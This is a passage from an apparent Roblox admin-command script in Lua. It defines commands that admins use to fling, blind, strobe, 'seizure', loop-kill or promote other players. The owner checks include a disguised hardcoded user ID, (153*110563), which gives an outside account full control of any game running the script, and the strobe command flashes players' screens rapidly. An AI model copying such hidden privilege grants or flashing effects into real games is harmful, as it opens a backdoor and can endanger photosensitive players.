  1539. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1540. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1541. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1542. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1543. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1544. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1545. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1546. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1547. end
  1548. end))
  1549. end
  1550. end
  1551.  
  1552. if msg:lower():sub(1,6) == "undog " then
  1553. local plrz = GetPlr(plr, msg:lower():sub(7))
  1554. for i, v in pairs(plrz) do
  1555. coroutine.resume(coroutine.create(function()
  1556. if v and v.Character and v.Character:findFirstChild("Torso") then
  1557. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1558. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1559. v.Character.Torso.Transparency = 0
  1560. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1561. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1562. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1563. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1564. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1565. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1566. end
  1567. end))
  1568. end
  1569. end
  1570.  
  1571. if msg:lower():sub(1,8) == "creeper " then
  1572. local plrz = GetPlr(plr, msg:lower():sub(9))
  1573. for i, v in pairs(plrz) do
  1574. coroutine.resume(coroutine.create(function()
  1575. if v and v.Character and v.Character:findFirstChild("Torso") then
  1576. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1577. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1578. v.Character.Torso.Transparency = 0
  1579. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1580. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1581. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1582. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1583. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1584. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1585. end
  1586. end))
  1587. end
  1588. end
  1589.  
  1590. if msg:lower():sub(1,10) == "uncreeper " then
  1591. local plrz = GetPlr(plr, msg:lower():sub(11))
  1592. for i, v in pairs(plrz) do
  1593. coroutine.resume(coroutine.create(function()
  1594. if v and v.Character and v.Character:findFirstChild("Torso") then
  1595. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1596. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1597. v.Character.Torso.Transparency = 0
  1598. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1599. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1600. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1601. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1602. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1603. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1604. end
  1605. end))
  1606. end
  1607. end
  1608.  
  1609. if msg:lower():sub(1,8) == "bighead " then
  1610. local plrz = GetPlr(plr, msg:lower():sub(9))
  1611. for i, v in pairs(plrz) do
  1612. coroutine.resume(coroutine.create(function()
  1613. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1614. end))
  1615. end
  1616. end
  1617.  
  1618. if msg:lower():sub(1,9) == "minihead " then
  1619. local plrz = GetPlr(plr, msg:lower():sub(10))
  1620. for i, v in pairs(plrz) do
  1621. coroutine.resume(coroutine.create(function()
  1622. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1623. end))
  1624. end
  1625. end
  1626.  
  1627. if msg:lower():sub(1,6) == "fling " then
  1628. local plrz = GetPlr(plr, msg:lower():sub(7))
  1629. for i, v in pairs(plrz) do
  1630. coroutine.resume(coroutine.create(function()
  1631. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1632. local xran local zran
  1633. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1634. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1635. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1636. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1637. end
  1638. end))
  1639. end
  1640. end
  1641.  
  1642. if msg:lower():sub(1,8) == "seizure " then
  1643. local plrz = GetPlr(plr, msg:lower():sub(9))
  1644. for i, v in pairs(plrz) do
  1645. coroutine.resume(coroutine.create(function()
  1646. if v and v.Character then
  1647. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1648. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1649. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1650. end
  1651. end))
  1652. end
  1653. end
  1654.  
  1655. if msg:lower():sub(1,10) == "unseizure " then
  1656. local plrz = GetPlr(plr, msg:lower():sub(11))
  1657. for i, v in pairs(plrz) do
  1658. coroutine.resume(coroutine.create(function()
  1659. if v and v.Character then
  1660. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1661. wait(.1) v.Character.Humanoid.PlatformStand = false
  1662. end
  1663. end))
  1664. end
  1665. end
  1666.  
  1667. if msg:lower():sub(1,12) == "removelimbs " then
  1668. local plrz = GetPlr(plr, msg:lower():sub(13))
  1669. for i, v in pairs(plrz) do
  1670. coroutine.resume(coroutine.create(function()
  1671. if v and v.Character then
  1672. for a, obj in pairs(v.Character:children()) do
  1673. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1674. end
  1675. end
  1676. end))
  1677. end
  1678. end
  1679.  
  1680. if msg:lower():sub(1,5) == "name " then
  1681. local chk1 = msg:lower():sub(6):find(" ") + 5
  1682. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1683. for i, v in pairs(plrz) do
  1684. coroutine.resume(coroutine.create(function()
  1685. if v and v.Character and v.Character:findFirstChild("Head") then
  1686. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1687. local char = v.Character
  1688. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1689. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1690. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1691. char.Head.Transparency = 1
  1692. end
  1693. end))
  1694. end
  1695. end
  1696.  
  1697. if msg:lower():sub(1,7) == "unname " then
  1698. local plrz = GetPlr(plr, msg:lower():sub(8))
  1699. for i, v in pairs(plrz) do
  1700. coroutine.resume(coroutine.create(function()
  1701. if v and v.Character and v.Character:findFirstChild("Head") then
  1702. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1703. end
  1704. end))
  1705. end
  1706. end
  1707.  
  1708. if msg:lower():sub(1,5) == "char " then
  1709. local chk1 = msg:lower():sub(6):find(" ") + 5
  1710. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1711. for i, v in pairs(plrz) do
  1712. coroutine.resume(coroutine.create(function()
  1713. if v and v.Character then
  1714. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1715. v:LoadCharacter()
  1716. end
  1717. end))
  1718. end
  1719. end
  1720.  
  1721. if msg:lower():sub(1,7) == "unchar " then
  1722. local plrz = GetPlr(plr, msg:lower():sub(8))
  1723. for i, v in pairs(plrz) do
  1724. coroutine.resume(coroutine.create(function()
  1725. if v and v.Character then
  1726. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1727. v:LoadCharacter()
  1728. end
  1729. end))
  1730. end
  1731. end
  1732.  
  1733. if msg:lower():sub(1,7) == "infect " then
  1734. local plrz = GetPlr(plr, msg:lower():sub(8))
  1735. for i, v in pairs(plrz) do
  1736. coroutine.resume(coroutine.create(function()
  1737. if v and v.Character then
  1738. Infect(v.Character)
  1739. end
  1740. end))
  1741. end
  1742. end
  1743.  
  1744. if msg:lower():sub(1,11) == "rainbowify " then
  1745. local plrz = GetPlr(plr, msg:lower():sub(12))
  1746. for i, v in pairs(plrz) do
  1747. coroutine.resume(coroutine.create(function()
  1748. if v and v.Character and v.Character:findFirstChild("Torso") then
  1749. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1750. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1751. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1752. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1753. cl.Parent = v.Character cl.Disabled = false
  1754. end
  1755. end))
  1756. end
  1757. end
  1758.  
  1759. if msg:lower():sub(1,9) == "flashify " then
  1760. local plrz = GetPlr(plr, msg:lower():sub(10))
  1761. for i, v in pairs(plrz) do
  1762. coroutine.resume(coroutine.create(function()
  1763. if v and v.Character and v.Character:findFirstChild("Torso") then
  1764. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1765. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1766. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1767. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1768. cl.Parent = v.Character cl.Disabled = false
  1769. end
  1770. end))
  1771. end
  1772. end
  1773.  
  1774. if msg:lower():sub(1,8) == "noobify " then
  1775. local plrz = GetPlr(plr, msg:lower():sub(9))
  1776. for i, v in pairs(plrz) do
  1777. coroutine.resume(coroutine.create(function()
  1778. if v and v.Character then
  1779. Noobify(v.Character)
  1780. end
  1781. end))
  1782. end
  1783. end
  1784.  
  1785. if msg:lower():sub(1,9) == "ghostify " then
  1786. local plrz = GetPlr(plr, msg:lower():sub(10))
  1787. for i, v in pairs(plrz) do
  1788. coroutine.resume(coroutine.create(function()
  1789. if v and v.Character and v.Character:findFirstChild("Torso") then
  1790. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1791. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1792. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1793. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1794. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1795. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1796. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1797. end end
  1798. end
  1799. end))
  1800. end
  1801. end
  1802.  
  1803. if msg:lower():sub(1,8) == "goldify " then
  1804. local plrz = GetPlr(plr, msg:lower():sub(9))
  1805. for i, v in pairs(plrz) do
  1806. coroutine.resume(coroutine.create(function()
  1807. if v and v.Character and v.Character:findFirstChild("Torso") then
  1808. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1809. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1810. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1811. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1812. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1813. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1814. end end
  1815. end
  1816. end))
  1817. end
  1818. end
  1819.  
  1820. if msg:lower():sub(1,6) == "shiny " then
  1821. local plrz = GetPlr(plr, msg:lower():sub(7))
  1822. for i, v in pairs(plrz) do
  1823. coroutine.resume(coroutine.create(function()
  1824. if v and v.Character and v.Character:findFirstChild("Torso") then
  1825. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1826. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1827. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1828. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1829. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1830. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1831. end end
  1832. end
  1833. end))
  1834. end
  1835. end
  1836.  
  1837. if msg:lower():sub(1,7) == "normal " then
  1838. local plrz = GetPlr(plr, msg:lower():sub(8))
  1839. for i, v in pairs(plrz) do
  1840. coroutine.resume(coroutine.create(function()
  1841. if v and v.Character and v.Character:findFirstChild("Torso") then
  1842. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1843. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1844. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1845. v.Character.Torso.Transparency = 0
  1846. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1847. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1848. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1849. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1850. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1851. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1852. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1853. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1854. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1855. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1856. end end
  1857. end
  1858. end))
  1859. end
  1860. end
  1861.  
  1862. if msg:lower():sub(1,7) == "trippy " then
  1863. local plrz = GetPlr(plr, msg:lower():sub(8))
  1864. for i, v in pairs(plrz) do
  1865. coroutine.resume(coroutine.create(function()
  1866. if v and v:findFirstChild("PlayerGui") then
  1867. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1868. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1869. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1870. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1871. end
  1872. end))
  1873. end
  1874. end
  1875.  
  1876. if msg:lower():sub(1,9) == "untrippy " then
  1877. local plrz = GetPlr(plr, msg:lower():sub(10))
  1878. for i, v in pairs(plrz) do
  1879. coroutine.resume(coroutine.create(function()
  1880. if v and v:findFirstChild("PlayerGui") then
  1881. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1882. end
  1883. end))
  1884. end
  1885. end
  1886.  
  1887. if msg:lower():sub(1,7) == "strobe " then
  1888. local plrz = GetPlr(plr, msg:lower():sub(8))
  1889. for i, v in pairs(plrz) do
  1890. coroutine.resume(coroutine.create(function()
  1891. if v and v:findFirstChild("PlayerGui") then
  1892. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1893. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1894. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1895. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1896. end
  1897. end))
  1898. end
  1899. end
  1900.  
  1901. if msg:lower():sub(1,9) == "unstrobe " then
  1902. local plrz = GetPlr(plr, msg:lower():sub(10))
  1903. for i, v in pairs(plrz) do
  1904. coroutine.resume(coroutine.create(function()
  1905. if v and v:findFirstChild("PlayerGui") then
  1906. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1907. end
  1908. end))
  1909. end
  1910. end
  1911.  
  1912. if msg:lower():sub(1,6) == "blind " then
  1913. local plrz = GetPlr(plr, msg:lower():sub(7))
  1914. for i, v in pairs(plrz) do
  1915. coroutine.resume(coroutine.create(function()
  1916. if v and v:findFirstChild("PlayerGui") then
  1917. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1918. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1919. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1920. end
  1921. end))
  1922. end
  1923. end
  1924.  
  1925. if msg:lower():sub(1,8) == "unblind " then
  1926. local plrz = GetPlr(plr, msg:lower():sub(9))
  1927. for i, v in pairs(plrz) do
  1928. coroutine.resume(coroutine.create(function()
  1929. if v and v:findFirstChild("PlayerGui") then
  1930. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1931. end
  1932. end))
  1933. end
  1934. end
  1935.  
  1936. if msg:lower():sub(1,7) == "guifix " then
  1937. local plrz = GetPlr(plr, msg:lower():sub(8))
  1938. for i, v in pairs(plrz) do
  1939. coroutine.resume(coroutine.create(function()
  1940. if v and v:findFirstChild("PlayerGui") then
  1941. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1942. end
  1943. end))
  1944. end
  1945. end
  1946.  
  1947. if msg:lower():sub(1,9) == "loopheal " then
  1948. local plrz = GetPlr(plr, msg:lower():sub(10))
  1949. for i, v in pairs(plrz) do
  1950. if v then
  1951. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1952. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1953. repeat wait()
  1954. coroutine.resume(coroutine.create(function()
  1955. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1956. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1957. end
  1958. end))
  1959. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1960. end
  1961. end
  1962. end
  1963.  
  1964. if msg:lower():sub(1,11) == "unloopheal " then
  1965. local plrz = GetPlr(plr, msg:lower():sub(12))
  1966. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1967. end
  1968.  
  1969. if msg:lower():sub(1,10) == "loopfling " then
  1970. local plrz = GetPlr(plr, msg:lower():sub(11))
  1971. for i, v in pairs(plrz) do
  1972. if v then
  1973. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1974. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1975. repeat
  1976. coroutine.resume(coroutine.create(function()
  1977. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1978. local xran local zran
  1979. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1980. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1981. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1982. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1983. end
  1984. end))
  1985. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1986. end
  1987. end
  1988. end
  1989.  
  1990. if msg:lower():sub(1,12) == "unloopfling " then
  1991. local plrz = GetPlr(plr, msg:lower():sub(13))
  1992. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1993. end
  1994.  
  1995. end
  1996.  
  1997. -------------------------
  1998. -- True Owner Commands --
  1999. -------------------------
  2000.  
  2001. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2002.  
  2003. if msg:lower():sub(1,3) == "oa " then
  2004. local plrz = GetPlr(plr, msg:lower():sub(4))
  2005. for i, v in pairs(plrz) do
  2006. coroutine.resume(coroutine.create(function()
  2007. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2008. end))
  2009. end
  2010. end
  2011.  
  2012. if msg:lower():sub(1,5) == "unoa " then
  2013. for i = 1, #owners do
  2014. coroutine.resume(coroutine.create(function()
  2015. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2016. end))
  2017. end
  2018. end
  2019.  
  2020. end
  2021.  
  2022. --------------------
  2023. -- Owner Commands --
  2024. --------------------
  2025.  
  2026. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2027.  
  2028. if msg:lower():sub(1,3) == "pa " then
  2029. local plrz = GetPlr(plr, msg:lower():sub(4))
  2030. for i, v in pairs(plrz) do
  2031. coroutine.resume(coroutine.create(function()
  2032. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2033. end))
  2034. end
  2035. end
  2036.  
  2037. if msg:lower():sub(1,5) == "unpa " then
  2038. for i = 1, #admins do
  2039. coroutine.resume(coroutine.create(function()
  2040. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2041. end))
  2042. end
  2043. end
  2044.  
  2045. end
  2046.  
  2047. --------------------------
  2048. -- Super Admin Commands --
  2049. --------------------------
  2050.  
  2051. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2052.  
  2053. if msg:lower() == "logs" then
  2054. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2055. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2056. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2057. end
  2058.  
  2059. if msg:lower():sub(1,9) == "loopkill " then
  2060. local chk1 = msg:lower():sub(10):find(" ")
  2061. local plrz = GetPlr(plr, msg:lower():sub(10))
  2062. local num = 9999
  2063. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2064. for i, v in pairs(plrz) do
  2065. if v and not ChkAdmin(v.Name, false) then
  2066. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2067. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2068. for i = 1, ]] .. tostring(num) .. [[ do
